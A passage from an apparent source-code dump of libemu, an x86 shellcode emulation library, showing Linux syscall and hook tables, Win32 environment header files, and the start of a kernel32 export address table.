\"creat\"                      , NULL}, \n/* 9*/   { \"link\"                       , NULL}, \n/* 10*/  { \"unlink\"                     , NULL}, \n/* 11*/  { \"execve\"                     , NULL}, \n/* 12*/  { \"chdir\"                      , NULL}, \n/* 13*/  { \"time\"                       , NULL}, \n/* 14*/  { \"mknod\"                      , NULL}, \n/* 15*/  { \"chmod\"                      , NULL}, \n/* 16*/  { \"lchown\"                     , NULL}, \n/* 17*/  { NULL                         , NULL}, \n/* 18*/  { \"stat\"                       , NULL}, \n/* 19*/  { \"lseek\"                      , NULL}, \n/* 20*/  { \"getpid\"                     , NULL}, \n/* 21*/  { \"mount\"                      , NULL}, \n/* 22*/  { \"oldumount\"                  , NULL}, \n/* 23*/  { \"setuid\"                     , NULL}, \n/* 24*/  { \"getuid\"                     , NULL}, \n/* 25*/  { \"stime\"                      , NULL}, \n/* 26*/  { \"ptrace\"                     , NULL}, \n/* 27*/  { \"alarm\"                      , NULL}, \n/* 28*/  { \"fstat\"                      , NULL}, \n/* 29*/  { \"pause\"                      , NULL}, \n/* 30*/  { \"utime\"                      , NULL}, \n/* 31*/  { NULL                         , NULL}, \n/* 32*/  { NULL                         , NULL}, \n/* 33*/  { \"access\"                     , NULL}, \n/* 34*/  { \"nice\"                       , NULL}, \n/* 35*/  { NULL                         , NULL}, \n/* 36*/  { \"sync\"                       , NULL}, \n/* 37*/  { \"kill\"                       , NULL}, \n/* 38*/  { \"rename\"                     , NULL}, \n/* 39*/  { \"mkdir\"                      , NULL}, \n/* 40*/  { \"rmdir\"                      , NULL}, \n/* 41*/  { \"dup\"                        , NULL}, \n/* 42*/  { \"pipe\"                       , NULL}, \n/* 43*/  { \"times\"                      , NULL}, \n/* 44*/  { NULL                         , NULL}, \n/* 45*/  { \"brk\"                        , NULL}, \n/* 46*/  { \"setgid\"                     , NULL}, \n/* 47*/  { \"getgid\"                     , NULL}, \n/* 48*/  { \"signal\"                     , NULL}, \n/* 49*/  { \"geteuid\"                    , NULL}, \n/* 50*/  { \"getegid\"                    , NULL}, \n/* 51*/  { \"acct\"                       , NULL}, \n/* 52*/  { \"umount\"                     , NULL}, \n/* 53*/  { NULL                         , NULL}, \n/* 54*/  { \"ioctl\"                      , NULL}, \n/* 55*/  { \"fcntl\"                      , NULL}, \n/* 56*/  { NULL                         , NULL}, \n/* 57*/  { \"setpgid\"                    , NULL}, \n/* 58*/  { NULL                         , NULL}, \n/* 59*/  { \"olduname\"                   , NULL}, \n/* 60*/  { \"umask\"                      , NULL}, \n/* 61*/  { \"chroot\"                     , NULL}, \n/* 62*/  { \"ustat\"                      , NULL}, \n/* 63*/  { \"dup2\"                       , NULL}, \n/* 64*/  { \"getppid\"                    , NULL}, \n/* 65*/  { \"getpgrp\"                    , NULL}, \n/* 66*/  { \"setsid\"                     , NULL}, \n/* 67*/  { \"sigaction\"                  , NULL}, \n/* 68*/  { \"sgetmask\"                   , NULL}, \n/* 69*/  { \"ssetmask\"                   , NULL}, \n/* 70*/  { \"setreuid\"                   , NULL}, \n/* 71*/  { \"setregid\"                   , NULL}, \n/* 72*/  { \"sigsuspend\"                 , NULL}, \n/* 73*/  { \"sigpending\"                 , NULL}, \n/* 74*/  { \"sethostname\"                , NULL}, \n/* 75*/  { \"setrlimit\"                  , NULL}, \n/* 76*/  { \"getrlimit\"                  , NULL}, \n/* 77*/  { \"getrusage\"                  , NULL}, \n/* 78*/  { \"gettimeofday\"               , NULL}, \n/* 79*/  { \"settimeofday\"               , NULL}, \n/* 80*/  { \"getgroups\"                  , NULL}, \n/* 81*/  { \"setgroups\"                  , NULL}, \n/* 82*/  { \"old_select\"                 , NULL}, \n/* 83*/  { \"symlink\"                    , NULL}, \n/* 84*/  { \"lstat\"                      , NULL}, \n/* 85*/  { \"readlink\"                   , NULL}, \n/* 86*/  { \"uselib\"                     , NULL}, \n/* 87*/  { \"swapon\"                     , NULL}, \n/* 88*/  { \"reboot\"                     , NULL}, \n/* 89*/  { \"old_readdir\"                , NULL}, \n/* 90*/  { \"old_mmap\"                   , NULL}, \n/* 91*/  { \"munmap\"                     , NULL}, \n/* 92*/  { \"truncate\"                   , NULL}, \n/* 93*/  { \"ftruncate\"                  , NULL}, \n/* 94*/  { \"fchmod\"                     , NULL}, \n/* 95*/  { \"fchown\"                     , NULL}, \n/* 96*/  { \"getpriority\"                , NULL}, \n/* 97*/  { \"setpriority\"                , NULL}, \n/* 98*/  { NULL                         , NULL}, \n/* 99*/  { \"statfs\"                     , NULL}, \n/* 100*/ { \"fstatfs\"                    , NULL}, \n/* 101*/ { \"ioperm\"                     , NULL}, \n/* 102*/ { NULL                         , env_linux_socketcall}, \n/* 103*/ { \"syslog\"                     , NULL}, \n/* 104*/ { \"setitimer\"                  , NULL}, \n/* 105*/ { \"getitimer\"                  , NULL}, \n/* 106*/ { \"newstat\"                    , NULL}, \n/* 107*/ { \"newlstat\"                   , NULL}, \n/* 108*/ { \"newfstat\"                   , NULL}, \n/* 109*/ { \"uname\"                      , NULL}, \n/* 110*/ { \"iopl\"                       , NULL}, \n/* 111*/ { \"vhangup\"                    , NULL}, \n/* 112*/ { \"idle\"                       , NULL}, \n/* 113*/ { \"vm86old\"                    , NULL}, \n/* 114*/ { \"wait4\"                      , NULL}, \n/* 115*/ { \"swapoff\"                    , NULL}, \n/* 116*/ { \"sysinfo\"                    , NULL}, \n/* 117*/ { \"ipc\"                        , NULL}, \n/* 118*/ { \"fsync\"                      , NULL}, \n/* 119*/ { \"sigreturn\"                  , NULL}, \n/* 120*/ { \"clone\"                      , NULL}, \n/* 121*/ { \"setdomainname\"              , NULL}, \n/* 122*/ { \"newuname\"                   , NULL}, \n/* 123*/ { \"modify_ldt\"                 , NULL}, \n/* 124*/ { \"adjtimex\"                   , NULL}, \n/* 125*/ { \"mprotect\"                   , NULL}, \n/* 126*/ { \"sigprocmask\"                , NULL}, \n/* 127*/ { \"create_module\"              , NULL}, \n/* 128*/ { \"init_module\"                , NULL}, \n/* 129*/ { \"delete_module\"              , NULL}, \n/* 130*/ { \"get_kernel_syms\"            , NULL}, \n/* 131*/ { \"quotactl\"                   , NULL}, \n/* 132*/ { \"getpgid\"                    , NULL}, \n/* 133*/ { \"fchdir\"                     , NULL}, \n/* 134*/ { \"bdflush\"                    , NULL}, \n/* 135*/ { \"sysfs\"                      , NULL}, \n/* 136*/ { \"personality\"                , NULL}, \n/* 137*/ { NULL                         , NULL}, \n/* 138*/ { \"setfsuid\"                   , NULL}, \n/* 139*/ { \"setfsgid\"                   , NULL}, \n/* 140*/ { \"llseek\"                     , NULL}, \n/* 141*/ { \"getdents\"                   , NULL}, \n/* 142*/ { \"select\"                     , NULL}, \n/* 143*/ { \"flock\"                      , NULL}, \n/* 144*/ { \"msync\"                      , NULL}, \n/* 145*/ { \"readv\"                      , NULL}, \n/* 146*/ { \"writev\"                     , NULL}, \n/* 147*/ { \"getsid\"                     , NULL}, \n/* 148*/ { \"fdatasync\"                  , NULL}, \n/* 149*/ { \"sysctl\"                     , NULL}, \n/* 150*/ { \"mlock\"                      , NULL}, \n/* 151*/ { \"munlock\"                    , NULL}, \n/* 152*/ { \"mlockall\"                   , NULL}, \n/* 153*/ { \"munlockall\"                 , NULL}, \n/* 154*/ { \"sched_setparam\"             , NULL}, \n/* 155*/ { \"sched_getparam\"             , NULL}, \n/* 156*/ { \"sched_setscheduler\"         , NULL}, \n/* 157*/ { \"sched_getscheduler\"         , NULL}, \n/* 158*/ { \"sched_yield\"                , NULL}, \n/* 159*/ { \"sched_get_priority_max\"     , NULL}, \n/* 160*/ { \"sched_get_priority_min\"     , NULL}, \n/* 161*/ { \"sched_rr_get_interval\"      , NULL}, \n/* 162*/ { \"nanosleep\"                  , NULL}, \n/* 163*/ { \"mremap\"                     , NULL}, \n/* 164*/ { \"setresuid\"                  , NULL}, \n/* 165*/ { \"getresuid\"                  , NULL}, \n/* 166*/ { \"vm86\"                       , NULL}, \n/* 167*/ { \"query_module\"               , NULL}, \n/* 168*/ { \"poll\"                       , NULL}, \n/* 169*/ { \"nfsservctl\"                 , NULL}, \n/* 170*/ { \"setresgid\"                  , NULL}, \n/* 171*/ { \"getresgid\"                  , NULL}, \n/* 172*/ { \"prctl\"                      , NULL}, \n/* 173*/ { \"rt_sigreturn\"               , NULL}, \n/* 174*/ { \"rt_sigaction\"               , NULL}, \n/* 175*/ { \"rt_sigprocmask\"             , NULL}, \n/* 176*/ { \"rt_sigpending\"              , NULL}, \n/* 177*/ { \"rt_sigtimedwait\"            , NULL}, \n/* 178*/ { \"rt_sigqueueinfo\"            , NULL}, \n/* 179*/ { \"rt_sigsuspend\"              , NULL}, \n/* 180*/ { \"pread\"                      , NULL}, \n/* 181*/ { \"pwrite\"                     , NULL}, \n/* 182*/ { \"chown\"                      , NULL}, \n/* 183*/ { \"getcwd\"                     , NULL}, \n/* 184*/ { \"capget\"                     , NULL}, \n/* 185*/ { \"capset\"                     , NULL}, \n/* 186*/ { \"sigaltstack\"                , NULL}, \n/* 187*/ { \"sendfile\"                   , NULL}, \n/* 188*/ { NULL                         , NULL}, \n/* 189*/ { NULL                         , NULL}, \n/* 190*/ { \"vfork\"                      , NULL}, \n};\n\n\nstruct emu_env_linux_syscall syscall_hooks[] = \n{\n\t{ \"accept\"              \t\t, env_linux_hook_socketcall},\n\t{ \"access\"              \t\t, NULL},\n\t{ \"acct\"                \t\t, NULL},\n\t{ \"adjtimex\"            \t\t, NULL},\n\t{ \"alarm\"               \t\t, NULL},\n\t{ \"bdflush\"             \t\t, NULL},\n\t{ \"bind\"                \t\t, env_linux_hook_socketcall},\n\t{ \"brk\"                 \t\t, NULL},\n\t{ \"capget\"              \t\t, NULL},\n\t{ \"capset\"              \t\t, NULL},\n\t{ \"chdir\"               \t\t, NULL},\n\t{ \"chmod\"               \t\t, env_linux_hook_chmod},\n\t{ \"chown\"               \t\t, NULL},\n\t{ \"chroot\"              \t\t, NULL},\n\t{ \"clone\"               \t\t, NULL},\n\t{ \"close\"               \t\t, NULL},\n\t{ \"connect\"             \t\t, env_linux_hook_socketcall},\n\t{ \"creat\"               \t\t, NULL},\n\t{ \"create_module\"       \t\t, NULL},\n\t{ \"delete_module\"       \t\t, NULL},\n\t{ \"dup\"                 \t\t, NULL},\n\t{ \"dup2\"                \t\t, env_linux_hook_dup2},\n\t{ \"execve\"              \t\t, env_linux_hook_execve},\n\t{ \"exit\"                \t\t, env_linux_hook_exit},\n\t{ \"fchdir\"              \t\t, NULL},\n\t{ \"fchmod\"              \t\t, NULL},\n\t{ \"fchown\"              \t\t, NULL},\n\t{ \"fcntl\"               \t\t, NULL},\n\t{ \"fdatasync\"           \t\t, NULL},\n\t{ \"flock\"               \t\t, NULL},\n\t{ \"fork\"                \t\t, env_linux_hook_fork},\n\t{ \"fstat\"               \t\t, NULL},\n\t{ \"fstatfs\"             \t\t, NULL},\n\t{ \"fsync\"               \t\t, NULL},\n\t{ \"ftruncate\"           \t\t, NULL},\n\t{ \"getcwd\"              \t\t, NULL},\n\t{ \"getdents\"            \t\t, NULL},\n\t{ \"getegid\"             \t\t, NULL},\n\t{ \"geteuid\"             \t\t, NULL},\n\t{ \"getgid\"              \t\t, NULL},\n\t{ \"getgroups\"           \t\t, NULL},\n\t{ \"getitimer\"           \t\t, NULL},\n\t{ \"get_kernel_syms\"     \t\t, NULL},\n\t{ \"getpeername\"         \t\t, env_linux_hook_socketcall},\n\t{ \"getpgid\"             \t\t, NULL},\n\t{ \"getpgrp\"             \t\t, NULL},\n\t{ \"getpid\"              \t\t, NULL},\n\t{ \"getppid\"             \t\t, NULL},\n\t{ \"getpriority\"         \t\t, NULL},\n\t{ \"getresgid\"           \t\t, NULL},\n\t{ \"getresuid\"           \t\t, NULL},\n\t{ \"getrlimit\"           \t\t, NULL},\n\t{ \"getrusage\"           \t\t, NULL},\n\t{ \"getsid\"              \t\t, NULL},\n\t{ \"getsockname\"         \t\t, env_linux_hook_socketcall},\n\t{ \"getsockopt\"          \t\t, env_linux_hook_socketcall},\n\t{ \"gettimeofday\"        \t\t, NULL},\n\t{ \"getuid\"              \t\t, NULL},\n\t{ \"idle\"                \t\t, NULL},\n\t{ \"init_module\"         \t\t, NULL},\n\t{ \"ioctl\"               \t\t, NULL},\n\t{ \"ioperm\"              \t\t, NULL},\n\t{ \"iopl\"                \t\t, NULL},\n\t{ \"ipc\"                 \t\t, NULL},\n\t{ \"kill\"                \t\t, NULL},\n\t{ \"lchown\"              \t\t, NULL},\n\t{ \"link\"                \t\t, NULL},\n\t{ \"listen\"              \t\t, env_linux_hook_socketcall},\n\t{ \"llseek\"              \t\t, NULL},\n\t{ \"lseek\"               \t\t, NULL},\n\t{ \"lstat\"               \t\t, NULL},\n\t{ \"mkdir\"               \t\t, NULL},\n\t{ \"mknod\"               \t\t, NULL},\n\t{ \"mlock\"               \t\t, NULL},\n\t{ \"mlockall\"            \t\t, NULL},\n\t{ \"modify_ldt\"          \t\t, NULL},\n\t{ \"mount\"               \t\t, NULL},\n\t{ \"mprotect\"            \t\t, NULL},\n\t{ \"mremap\"              \t\t, NULL},\n\t{ \"msync\"               \t\t, NULL},\n\t{ \"munlock\"             \t\t, NULL},\n\t{ \"munlockall\"          \t\t, NULL},\n\t{ \"munmap\"              \t\t, NULL},\n\t{ \"nanosleep\"           \t\t, NULL},\n\t{ \"newfstat\"            \t\t, NULL},\n\t{ \"newlstat\"            \t\t, NULL},\n\t{ \"newstat\"             \t\t, NULL},\n\t{ \"newuname\"            \t\t, NULL},\n\t{ \"nfsservctl\"          \t\t, NULL},\n\t{ \"nice\"                \t\t, NULL},\n\t{ \"old_mmap\"            \t\t, NULL},\n\t{ \"old_readdir\"         \t\t, NULL},\n\t{ \"old_select\"          \t\t, NULL},\n\t{ \"oldumount\"           \t\t, NULL},\n\t{ \"olduname\"            \t\t, NULL},\n\t{ \"open\"                \t\t, NULL},\n\t{ \"pause\"               \t\t, NULL},\n\t{ \"personality\"         \t\t, NULL},\n\t{ \"pipe\"                \t\t, NULL},\n\t{ \"poll\"                \t\t, NULL},\n\t{ \"prctl\"               \t\t, NULL},\n\t{ \"pread\"               \t\t, NULL},\n\t{ \"ptrace\"              \t\t, NULL},\n\t{ \"pwrite\"              \t\t, NULL},\n\t{ \"query_module\"        \t\t, NULL},\n\t{ \"quotactl\"            \t\t, NULL},\n\t{ \"read\"                \t\t, NULL},\n\t{ \"readlink\"            \t\t, NULL},\n\t{ \"readv\"               \t\t, NULL},\n\t{ \"reboot\"              \t\t, NULL},\n\t{ \"recv\"                \t\t, env_linux_hook_socketcall},\n\t{ \"recvfrom\"            \t\t, env_linux_hook_socketcall},\n\t{ \"recvmsg\"             \t\t, env_linux_hook_socketcall},\n\t{ \"rename\"              \t\t, NULL},\n\t{ \"rmdir\"               \t\t, NULL},\n\t{ \"rt_sigaction\"                , NULL},\n\t{ \"rt_sigpending\"               , NULL},\n\t{ \"rt_sigprocmask\"              , NULL},\n\t{ \"rt_sigqueueinfo\"             , NULL},\n\t{ \"rt_sigreturn\"                , NULL},\n\t{ \"rt_sigsuspend\"               , NULL},\n\t{ \"rt_sigtimedwait\"             , NULL},\n\t{ \"sched_getparam\"              , NULL},\n\t{ \"sched_get_priority_max\"      , NULL},\n\t{ \"sched_get_priority_min\"      , NULL},\n\t{ \"sched_getscheduler\"          , NULL},\n\t{ \"sched_rr_get_interval\"       , NULL},\n\t{ \"sched_setparam\"              , NULL},\n\t{ \"sched_setscheduler\"          , NULL},\n\t{ \"sched_yield\"                 , NULL},\n\t{ \"select\"              \t\t, NULL},\n\t{ \"send\"                \t\t, env_linux_hook_socketcall},\n\t{ \"sendfile\"            \t\t, NULL},\n\t{ \"sendmsg\"             \t\t, env_linux_hook_socketcall},\n\t{ \"sendto\"              \t\t, env_linux_hook_socketcall},\n\t{ \"setdomainname\"       \t\t, NULL},\n\t{ \"setfsgid\"            \t\t, NULL},\n\t{ \"setfsuid\"            \t\t, NULL},\n\t{ \"setgid\"              \t\t, NULL},\n\t{ \"setgroups\"           \t\t, NULL},\n\t{ \"sethostname\"         \t\t, NULL},\n\t{ \"setitimer\"           \t\t, NULL},\n\t{ \"setpgid\"             \t\t, NULL},\n\t{ \"setpriority\"         \t\t, NULL},\n\t{ \"setregid\"            \t\t, NULL},\n\t{ \"setresgid\"           \t\t, NULL},\n\t{ \"setresuid\"           \t\t, NULL},\n\t{ \"setreuid\"            \t\t, NULL},\n\t{ \"setrlimit\"           \t\t, NULL},\n\t{ \"setsid\"              \t\t, NULL},\n\t{ \"setsockopt\"          \t\t, NULL},\n\t{ \"settimeofday\"        \t\t, NULL},\n\t{ \"setuid\"              \t\t, NULL},\n\t{ \"sgetmask\"            \t\t, NULL},\n\t{ \"shutdown\"            \t\t, env_linux_hook_socketcall},\n\t{ \"sigaction\"           \t\t, NULL},\n\t{ \"sigaltstack\"         \t\t, NULL},\n\t{ \"signal\"              \t\t, NULL},\n\t{ \"sigpending\"          \t\t, NULL},\n\t{ \"sigprocmask\"         \t\t, NULL},\n\t{ \"sigreturn\"           \t\t, NULL},\n\t{ \"sigsuspend\"          \t\t, NULL},\n\t{ \"socket\"              \t\t, env_linux_hook_socketcall},\n\t{ \"socketpair\"          \t\t, env_linux_hook_socketcall},\n\t{ \"ssetmask\"            \t\t, NULL},\n\t{ \"stat\"                \t\t, NULL},\n\t{ \"statfs\"              \t\t, NULL},\n\t{ \"stime\"               \t\t, NULL},\n\t{ \"swapoff\"             \t\t, NULL},\n\t{ \"swapon\"              \t\t, NULL},\n\t{ \"symlink\"             \t\t, NULL},\n\t{ \"sync\"                \t\t, NULL},\n\t{ \"sysctl\"              \t\t, NULL},\n\t{ \"sysfs\"               \t\t, NULL},\n\t{ \"sysinfo\"             \t\t, NULL},\n\t{ \"syslog\"              \t\t, NULL},\n\t{ \"time\"                \t\t, NULL},\n\t{ \"times\"               \t\t, NULL},\n\t{ \"truncate\"            \t\t, NULL},\n\t{ \"umask\"               \t\t, NULL},\n\t{ \"umount\"              \t\t, NULL},\n\t{ \"uname\"               \t\t, NULL},\n\t{ \"unlink\"              \t\t, NULL},\n\t{ \"uselib\"              \t\t, NULL},\n\t{ \"ustat\"               \t\t, NULL},\n\t{ \"utime\"               \t\t, NULL},\n\t{ \"vfork\"               \t\t, NULL},\n\t{ \"vhangup\"             \t\t, NULL},\n\t{ \"vm86\"                \t\t, NULL},\n\t{ \"vm86old\"             \t\t, NULL},\n\t{ \"wait4\"               \t\t, NULL},\n\t{ \"waitpid\"             \t\t, NULL},\n\t{ \"write\"               \t\t, NULL},\n\t{ \"writev\"              \t\t, NULL},\n};\n"
  },
  {
    "path": "include/emu/environment/win32/Makefile.am",
    "content": "# $Id$\n\nincludedir = $(prefix)/include/emu/environment/win32\n\ninclude_HEADERS = emu_env_w32.h\ninclude_HEADERS += emu_env_w32_dll.h\ninclude_HEADERS += env_w32_dll_export_hooks.h\ninclude_HEADERS += emu_env_w32_dll_export.h\ninclude_HEADERS += env_w32_dll_export_kernel32_hooks.h\ninclude_HEADERS += env_w32_dll_export_urlmon_hooks.h\ninclude_HEADERS += env_w32_dll_export_ws2_32_hooks.h\ninclude_HEADERS += env_w32_dll_export_msvcrt_hooks.h\ninclude_HEADERS += env_w32_dll_export_shell32_hooks.h\ninclude_HEADERS += env_w32_dll_export_shdocvw_hooks.h\n\n"
  },
  {
    "path": "include/emu/environment/win32/emu_env_w32.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_ENV_W32\n#define HAVE_EMU_ENV_W32\n\n#include <stdint.h>\n\nstruct emu;\nstruct emu_env_w32_dll;\nstruct emu_env_w32_dll_export;\nstruct emu_profile;\nstruct emu_env;\nstruct emu_env_hook;\n\n/**\n * the emu win32 enviroment struct\n * \n * @see emu_env_w32_new\n */\nstruct emu_env_w32\n{\n\t/**\n\t * pointer to the emu\n\t */\n\tstruct emu *emu;\n\t/**\n\t * array of pointers to the dlls loaded to memory\n\t */\n\tstruct emu_env_w32_dll **loaded_dlls;\n\t/**\n\t * the baseaddress for the env\n\t */\n\tuint32_t\tbaseaddr;\n\n\t/**\n\t * for SEH\n\t */\n\tuint32_t last_good_eip;\n\tuint32_t lastExceptionHandler;\n\tuint32_t exception_count;\n};\n\n/**\n * Create a new emu_env_w32 environment\n * \n * @param e      the emulation to create the w32 process environment in\n * \n * @return on success: pointer to the emu_env_w32 create\n *         on failure: NULL\n */\nstruct emu_env_w32 *emu_env_w32_new(struct emu *e);\n\n/**\n * Free the emu_env_w32, free all dlls etc\n * \n * @param env    the env to free\n */\nvoid emu_env_w32_free(struct emu_env_w32 *env);\n\nint32_t emu_env_w32_load_dll(struct emu_env_w32 *env, char *path);\n\n/**\n * Hook an dll export from a dll\n * \n * @param env        the env\n * @param exportname the exportname, f.e. \"socket\"\n * @param fnhook     pointer to the hook function\n * \n * @return on success: 0\n *         on failure: -1\n */\nint32_t emu_env_w32_export_hook(struct emu_env *env,\n\t\t\t\t\t\t\t\tconst char *exportname, \n\t\t\t\t\t\t\t\tuint32_t\t\t(*fnhook)(struct emu_env *env, struct emu_env_hook *hook, ...),\n\t\t\t\t\t\t\t\tvoid *userdata);\n\n\n\n/**\n * Check if eip is within a loaded dll,\n *  - call the dll's export function\n * \n * @param env    the env\n * \n * @return on success: pointer to the dll_export\n *         on failure: NULL\n */\nstruct emu_env_hook *emu_env_w32_eip_check(struct emu_env *env);\n\n\nint32_t emu_env_w32_step_failed(struct emu_env *env);\n#endif\n\n"
  },
  {
    "path": "include/emu/environment/win32/emu_env_w32_dll.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_ENV_W32_DLL_H\n#define HAVE_EMU_ENV_W32_DLL_H\n\n#include <stdint.h>\n\nstruct emu_env_hook;\nstruct emu_env_w32_dll_export;\n\nstruct emu_env_w32_dll\n{\n\tchar \t\t*dllname;\n\n\tchar \t\t*image;\n\tuint32_t\timagesize;\n\n\tuint32_t\tbaseaddr;\n\n\tstruct emu_env_w32_dll_export *exportx;\n\tstruct emu_env_hook *hooks;\n\tstruct emu_hashtable *exports_by_fnptr;\n\tstruct emu_hashtable *exports_by_fnname;\n};\n\nstruct emu_env_w32_dll *emu_env_w32_dll_new(void);\nvoid emu_env_w32_dll_free(struct emu_env_w32_dll *dll);\nvoid emu_env_w32_dll_exports_copy(struct emu_env_w32_dll *to, struct emu_env_w32_dll_export *from);\n\n\nstruct emu_env_w32_known_dll_segment\n{\n\tuint32_t address;\n\tconst char *segment;\n\tuint32_t\tsegment_size;\n};\n\nstruct emu_env_w32_known_dll\n{\n\tconst char *dllname;\n\tuint32_t \tbaseaddress;\n\tuint32_t\timagesize;\n\tstruct emu_env_w32_dll_export *exports;\n\tstruct emu_env_w32_known_dll_segment *memory_segments;\n};\n\n#endif\n"
  },
  {
    "path": "include/emu/environment/win32/emu_env_w32_dll_export.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#ifndef HAVE_EMU_ENV_W32_DLL_EXPORT_H\n#define HAVE_EMU_ENV_W32_DLL_EXPORT_H\n\n\nstruct emu;\nstruct emu_env_w32;\nstruct emu_env;\nstruct emu_env_hook;\n\ntypedef uint32_t\t(*win32userhook)(struct emu_env_w32 *env, struct emu_env_w32_dll_export *ex, ...);\n\nstruct emu_env_w32_dll_export\n{\n\tchar \t\t*fnname;\n\tuint32_t \tvirtualaddr;\n    int32_t\t\t(*fnhook)(struct emu_env *env, struct emu_env_hook *hook);\n\tvoid \t\t*userdata;\n\tuint32_t\t(*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...);\n\tuint32_t\tordinal;\n};\n\nstruct emu_env_w32_dll_export *emu_env_w32_dll_export_new(void);\nvoid emu_env_w32_dll_export_copy(struct emu_env_w32_dll_export *to, struct emu_env_w32_dll_export *from);\nvoid emu_env_w32_dll_export_free(struct emu_env_w32_dll_export *exp);\n\nextern struct emu_env_w32_dll_export kernel32_exports[];\nextern struct emu_env_w32_dll_export ws2_32_exports[];\nextern struct emu_env_w32_dll_export wininet_exports[];\nextern struct emu_env_w32_dll_export urlmon_exports[];\n\n\n#endif\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <emu/emu.h>\n#include <emu/environment/win32/emu_env_w32_dll_export.h>\n#include <emu/environment/win32/env_w32_dll_export_kernel32_hooks.h>\n#include <emu/environment/win32/env_w32_dll_export_urlmon_hooks.h>\n#include <emu/environment/win32/env_w32_dll_export_ws2_32_hooks.h>\n#include <emu/environment/win32/env_w32_dll_export_msvcrt_hooks.h>\n#include <emu/environment/win32/env_w32_dll_export_shell32_hooks.h>\n#include <emu/environment/win32/env_w32_dll_export_shdocvw_hooks.h>\n\nstruct emu_env_w32_dll_export kernel32_exports[] = \n{\n\t{\"ActivateActCtx\", 0x0000A644, NULL, NULL},\n\t{\"AddAtomA\", 0x000354ED, NULL, NULL},\n\t{\"AddAtomW\", 0x000326C1, NULL, NULL},\n\t{\"AddConsoleAliasA\", 0x00070CBF, NULL, NULL},\n\t{\"AddConsoleAliasW\", 0x00070C81, NULL, NULL},\n\t{\"AddLocalAlternateComputerNameA\", 0x00058F26, NULL, NULL},\n\t{\"AddLocalAlternateComputerNameW\", 0x00058E0A, NULL, NULL},\n\t{\"AddRefActCtx\", 0x0002BF01, NULL, NULL},\n\t{\"AddVectoredExceptionHandler\", 0x00008F63, NULL, NULL},\n\t{\"AllocConsole\", 0x00071311, NULL, NULL},\n\t{\"AllocateUserPhysicalPages\", 0x0005E712, NULL, NULL},\n\t{\"AreFileApisANSI\", 0x0003594F, NULL, NULL},\n\t{\"AssignProcessToJobObject\", 0x0002E44A, NULL, NULL},\n\t{\"AttachConsole\", 0x000714F9, NULL, NULL},\n\t{\"BackupRead\", 0x00056DDF, NULL, NULL},\n\t{\"BackupSeek\", 0x00055EEF, NULL, NULL},\n\t{\"BackupWrite\", 0x000573FE, NULL, NULL},\n\t{\"BaseCheckAppcompatCache\", 0x000167D7, NULL, NULL},\n\t{\"BaseCleanupAppcompatCache\", 0x0006BE06, NULL, NULL},\n\t{\"BaseCleanupAppcompatCacheSupport\", 0x0006BE8A, NULL, NULL},\n\t{\"BaseDumpAppcompatCache\", 0x0006BCC1, NULL, NULL},\n\t{\"BaseFlushAppcompatCache\", 0x0006BC3F, NULL, NULL},\n\t{\"BaseInitAppcompatCache\", 0x000164CD, NULL, NULL},\n\t{\"BaseInitAppcompatCacheSupport\", 0x0002B38D, NULL, NULL},\n\t{\"BaseProcessInitPostImport\", 0x00017443, NULL, NULL},\n\t{\"BaseQueryModuleData\", 0x0003835A, NULL, NULL},\n\t{\"BaseUpdateAppcompatCache\", 0x00015120, NULL, 